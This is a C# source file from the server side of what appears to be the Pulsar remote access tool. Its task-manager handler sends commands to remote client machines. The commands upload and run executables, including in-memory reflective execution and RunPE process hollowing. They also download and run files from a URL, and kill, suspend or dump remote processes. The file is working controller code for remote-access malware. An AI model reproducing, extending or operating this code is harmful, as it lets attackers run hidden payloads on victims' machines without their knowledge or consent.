using System; using System.IO; using System.Threading; using System.Windows.Forms; using Pulsar.Common.Enums; using Pulsar.Common.Messages; using Pulsar.Common.Messages.Administration.TaskManager; using Pulsar.Common.Messages.Other; using Pulsar.Common.Models; using Pulsar.Common.Networking; using Pulsar.Server.Networking; namespace Pulsar.Server.Messages { /// /// Handles messages for interacting with remote tasks. /// public class TaskManagerHandler : MessageProcessorBase, IDisposable { public delegate void ProcessActionPerformedEventHandler(object sender, ProcessAction action, bool result); public event ProcessActionPerformedEventHandler ProcessActionPerformed; public delegate void OnResponseReceivedEventHandler(object sender, DoProcessDumpResponse response); public event OnResponseReceivedEventHandler OnResponseReceived; private readonly Client _client; public GetProcessesResponse LastProcessesResponse { get; private set; } public TaskManagerHandler(Client client) : base(true) { _client = client ?? throw new ArgumentNullException(nameof(client)); } public override bool CanExecute(IMessage message) => message is DoProcessResponse || message is GetProcessesResponse || message is DoProcessDumpResponse; public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); public override void Execute(ISender sender, IMessage message) { switch (message) { case DoProcessResponse resp: Execute(sender, resp); break; case GetProcessesResponse resp: Execute(sender, resp); break; case DoProcessDumpResponse resp: Execute(sender, resp); break; } } private void Execute(ISender client, DoProcessResponse message) { SynchronizationContext.Post(_ => ProcessActionPerformed?.Invoke(this, message.Action, message.Result), null); } private void Execute(ISender client, GetProcessesResponse message) { LastProcessesResponse = message; OnReport(message.Processes); } private void Execute(ISender client, DoProcessDumpResponse message) { OnResponseReceived?.Invoke(this, message); } #region Remote Process Operations public void StartProcess(string remotePath, bool isUpdate = false, bool executeInMemory = false, bool useRunPE = false, string runPETarget = "a", string runPECustomPath = null) { if (!File.Exists(remotePath)) { MessageBox.Show($"File not found: {remotePath}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } byte[] fileBytes = File.ReadAllBytes(remotePath); string ext = Path.GetExtension(remotePath); if ((executeInMemory || useRunPE) && !string.Equals(ext, ".exe", StringComparison.OrdinalIgnoreCase)) { MessageBox.Show("Only .exe files are allowed for RunPE or reflection execution.", "Invalid File Type", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } _client.Send(new DoProcessStart { FileBytes = fileBytes, IsUpdate = isUpdate, ExecuteInMemoryDotNet = executeInMemory, UseRunPE = useRunPE, RunPETarget = runPETarget, RunPECustomPath = runPECustomPath, FileExtension = ext }); } public void StartProcessFromWeb(string url, bool isUpdate = false, bool executeInMemory = false, bool _useRunPE = false) { if (string.IsNullOrWhiteSpace(url)) { MessageBox.Show("URL cannot be empty.", "Invalid URL", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } _client.Send(new DoProcessStart { DownloadUrl = url, IsUpdate = isUpdate, ExecuteInMemoryDotNet = false, UseRunPE = false }); } public void SetTopMost(int pid, bool enable = true) { _client.Send(new DoSetTopMost { Pid = pid, Enable = enable }); } public void SetWindowState(int pid, bool minimize) { _client.Send(new DoSetWindowState { Pid = pid, Minimize = minimize }); } public void RefreshProcesses() { _client.Send(new GetProcesses()); } public void EndProcess(int pid) { _client.Send(new DoProcessEnd { Pid = pid }); } public void DumpProcess(int pid) { _client.Send(new DoProcessDump { Pid = pid }); } public void SuspendProcess(int pid, bool suspend) { var message = new DoSuspendProcess { Pid = pid, Suspend = suspend }; _client.Send(message); } #endregion #region IDisposable public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (!disposing) return; ProcessActionPerformed = null; OnResponseReceived = null; LastProcessesResponse = null; } #endregion } }